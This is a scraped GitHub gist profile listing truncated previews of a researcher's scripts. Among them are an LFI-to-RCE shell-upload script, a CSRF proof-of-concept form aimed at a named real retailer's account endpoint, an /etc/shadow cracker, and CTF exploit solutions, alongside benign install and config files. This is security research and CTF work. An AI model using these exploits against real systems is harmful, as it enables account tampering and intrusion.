Skip to content

Instantly share code, notes, and snippets.

View aadityapurani's full-sized avatar
🎯
Focusing

Aaditya Purani aadityapurani

🎯
Focusing
View GitHub Profile
@aadityapurani
aadityapurani / phantom.sh
Created June 30, 2016 03:15
Phantom JS Dowloader Bash Script. Run it as a root user.
cd /usr/local/share
sudo wget https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-1.9.8-linux-x86_64.tar.bz2
sudo tar xjf phantomjs-1.9.8-linux-x86_64.tar.bz2
sudo ln -s /usr/local/share/phantomjs-1.9.8-linux-x86_64/bin/phantomjs /usr/local/share/phantomjs
sudo ln -s /usr/local/share/phantomjs-1.9.8-linux-x86_64/bin/phantomjs /usr/local/bin/phantomjs
sudo ln -s /usr/local/share/phantomjs-1.9.8-linux-x86_64/bin/phantomjs /usr/bin/phantomjs
@aadityapurani
aadityapurani / lfi-rce.py
Created June 30, 2016 08:25
Local File Inclusion to Remote Code Execution, I just fixed the code of Dustri's and implementated it to Practically run.
#Remote Code Execution from LFI
#Programmed by Aaditya Purani (https://twitter.com/aaditya_purani)
#Fixed bug in Inital Dustri's code and Implemented to run practically
import itertools
import requests
import sys
import string
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
<html>
<!-- CSRF PoC - By Aaditya Purani -->
<body>
<form method='POST' action="https://www.beatsbydre.com/on/demandware.store/Sites-beats-Site/en_US/GigyaRAAS-SaveCustomer">
<input type="hidden" name="firstName" value="hacked" />
<input type="hidden" name="lastName" value="hackerone" />
<input type="hidden" name="emailAddress" value="victimsemail@gmail.com" />
<input type="hidden" name="zip" value="" />
<input type="hidden" name="phone" value="" />
<input type="hidden" name="csrf_token" value="VxM7k0ya2N1R69Ix9E3m/2165n60n2p399n38q6r1904o1po98r1snn323q0q/3Ex5Klu9mD1x5vMo91" />
#/etc/shadow Bruteforcer
#Coded by Aaditya Purani
#Just for Fun after Remote Exploitation
#It will crack shadow password by Dictionary attack
import optparse
import crypt
def checkPass(cryptPass, dname):
salt = "$"+cryptPass.split('$')[1]+"$"+cryptPass.split('$')[2]
@aadityapurani
aadityapurani / level2.py
Created May 1, 2017 01:24
Solution for HackerRank CTF (Level 2)
'''
Solved by Aaditya Purani (@aaditya_purani)
Just a Proof of Concept
$python level2.py > kek
$cat kek | sort
'''
import json
import requests
list=[]
@aadityapurani
aadityapurani / level3.py
Last active May 1, 2017 01:33
Solution for HackerRank CTF (level 3)
'''
Level 3 HackerRank Solution by Aaditya Purani
Input:
https://cdn.hackerrank.com/hackerrank/static/contests/capture-the-flag/infinite/qds.html
1000
https://cdn.hackerrank.com/hackerrank/static/contests/capture-the-flag/infinite/
'''
from bs4 import BeautifulSoup
from sets import Set
import urllib2
@aadityapurani
aadityapurani / sploit.js
Created September 17, 2017 20:58
FunTimeJS 2 (One Liner)
console.log(require('fs').readFileSync('flag.txt').toString());
import angr
'''
TokyoWestern CTF rev_rev_rev solved using Angr
'''
p = angr.Project("rev_rev_rev")
ex = p.surveyors.Explorer(find=(0x08048679, ), avoid=(0x0804868B, ))
ex.run()
ex.found[0]
print ex.found[0].state.posix.dumps(0)
@aadityapurani
aadityapurani / pilot_exploit.py
Created October 29, 2017 04:22
CSAW CTF Quals 2017
from pwn import *
'''
Shell-Code https://www.exploit-db.com/exploits/36858/
'''
p = process('./pilot')
#p = remote('pwn.chal.csaw.io', 8464)
p.recvuntil("Location:")
buff = int(p.recvline(), 16)
@aadityapurani
aadityapurani / genesis.json
Created January 7, 2018 06:56
Genesis file for geth ethereum
{
"config": {
"chainId": 15,
"homesteadBlock": 0,
"eip155Block": 0,
"eip158Block": 0
},
"nonce": "0x0000000000000033",
"timestamp": "0x0",
"parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000",